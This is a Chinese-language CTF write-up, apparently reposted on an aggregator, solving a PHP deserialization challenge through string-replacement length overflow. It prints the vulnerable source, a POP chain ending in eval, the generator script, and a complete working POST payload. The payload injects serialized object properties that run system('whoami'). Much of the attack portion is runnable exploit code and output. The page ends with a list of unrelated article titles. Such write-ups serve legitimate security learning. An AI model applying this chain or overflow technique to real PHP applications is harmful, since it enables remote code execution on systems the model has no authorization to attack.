当前位置: 首页 > news >正文

记一次简单的PHP反序列化字符串溢出

今天朋友给的一道题,让我看看,来源不知,随手记一下

<?php
// where is flag
error_reporting(0);
class NFCTF{                                     public $ming,$id,$payload,$nothing;function __construct($iii){$this->ming=$iii;}function __wakeup(){                        if($this->id==="NFCTF"){   $tmp = base64_decode($this->payload);        $this->nothing=unserialize($tmp);}else{die("you nonono!!!");}}
}
class xiaohuolong{public $x;                        function heeko(){echo "heeko";}function __toString(){$this->x->nice();              }
}
class kabishou{public $m;public $y;public $h;function __wakeup(){        $this->setm();}function setm(){$this->_m = ""; }function __destruct(){          $this->y=$this->h;          die($this->m);              }
}
class jienigui{public $pay;                    function nice(){eval($this->pay);           }
}
$cmd=$_POST["cmd"];
if(isset($cmd))
{$newdata=serialize(new NFCTF($cmd));                             $redata=str_replace("add","addd",$newdata);            unserialize($redata);                                     
}else{highlight_file(__FILE__);
}

首先是触发到eval($this->pay);的链子,很简单

jienigui::nice() <- xiaohuolong::__toString() <- kabishou::__destruct() 
<?php 
class xiaohuolong{public $x;                        function heeko(){echo "heeko";}function __toString(){$this->x->nice();              }
}
class kabishou{public $m;public $y;public $h;function __wakeup(){        $this->setm();}function setm(){$this->_m = ""; }function __destruct(){          $this->y=$this->h;          die($this->m);              }
}
class jienigui{public $pay;                    function nice(){eval($this->pay);           }
}$jienigui = new jienigui();
$jienigui -> pay = "system('whoami');";
$xiaohuolong = new xiaohuolong();
$xiaohuolong -> x = $jienigui;
$kabishou = new kabishou();
$kabishou -> m = $xiaohuolong;
echo base64_encode(serialize($kabishou))."\n";
PS C:\Users\Administrator\Downloads> php .\test.php
Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9
mochu7\administrator
PS C:\Users\Administrator\Downloads>

然后就是将Base64编码后的这条链的序列化字符串,赋值给$this->payload,使其在NFCTF::__wakeup()触发反序列化,然后NFCTF这个类,传参可控的是属性是$this->ming,替换规则是每出现一个add就替换为addd,长度变化为+1

把Base64的payload放进去,$this->id设置好,参考序列化的之后的字符串更直观

<?php 
class NFCTF{                                     public $ming,$id,$payload,$nothing;function __construct($iii){$this->ming=$iii;}function __wakeup(){                        if($this->id==="NFCTF"){$tmp = base64_decode($this->payload);        $this->nothing=unserialize($tmp);}else{die("you nonono!!!");}}
}
class xiaohuolong{public $x;                        function heeko(){echo "heeko";}function __toString(){$this->x->nice();              }
}
class kabishou{public $m;public $y;public $h;function __wakeup(){        $this->setm();}function setm(){$this->_m = ""; }function __destruct(){          $this->y=$this->h;          die($this->m);              }
}
class jienigui{public $pay;                    function nice(){eval($this->pay);           }
}
$NFCTF = new NFCTF('mochu7');
$NFCTF -> id = "NFCTF";
$NFCTF -> payload = "Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";
echo serialize($NFCTF);
// O:5:"NFCTF":4:{s:4:"ming";s:6:"mochu7";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}

我们要控制注入进去的对象属性是$this->id$this->payload,也就是后面选中的这长度为239的字符串,包含开头的";,因为需要闭合$this->ming的内容格式才能被正确反序列化的。

在这里插入图片描述

明确了需要注入的payload长度为239,就可以设置替换字符为'add'*239,经过str_replace("add","addd",$newdata);就是'addd'*239,长度变化为+239,正好可以将后面这串 payload 挤出$this->ming的内容范围。如下图所示:

在这里插入图片描述

所示执行system("whoami")的命令的payload最终payload如下

cmd=addaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddadd";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}

即你需要注入的payload长度为多少,就构造能溢出多少长度的替换字符串。

在这里插入图片描述

http://www.lryc.cn/news/245782.html

相关文章:

  • 找工作面试技巧
  • Jackson无缝替换Fastjson
  • JVM 内存分析工具 MAT及实践
  • jupyter notebook 不知道密码,怎么登录解决办法
  • 软著项目推荐 深度学习中文汉字识别
  • WEB渗透—反序列化(七)
  • 牛客网刷题笔记四 链表节点k个一组翻转
  • 【数据结构】图<简单认识图>
  • Git介绍和基础命令解析
  • 力扣hot100 和为 K 的子数组 前缀和
  • 6.12找树左下角的值(LC513-M)
  • 【精选】框架初探篇之——MyBatis的CRUD及配置文件
  • ES8语法async与await
  • c#处理SQLSERVER 中image数量类型为空
  • 五子棋游戏
  • vue+SpringBoot的图片上传
  • FFmepg 核心开发库及重要数据结构与API
  • 训练 CNN 对 CIFAR-10 数据中的图像进行分类
  • 香港科技大学广州|智能制造学域博士招生宣讲会—天津大学专场
  • 滑动窗口练习(二)— 子数组中满足max -min <= sum的个数
  • 用xlwings新建一个excel并同时生成多个sheet
  • 诺威信,浪潮云,微众区块链
  • Redux在React中的使用
  • Go 数字类型
  • 时间序列预测 — Informer实现多变量负荷预测(PyTorch)
  • 2023年金融信创行业研究报告
  • 51单片机按键控制LED灯亮灭的N个玩法
  • 推荐6款本周 yyds 的开源项目
  • 【Git】git 更换远程仓库地址三种方法总结分享
  • springboot 返回problem+json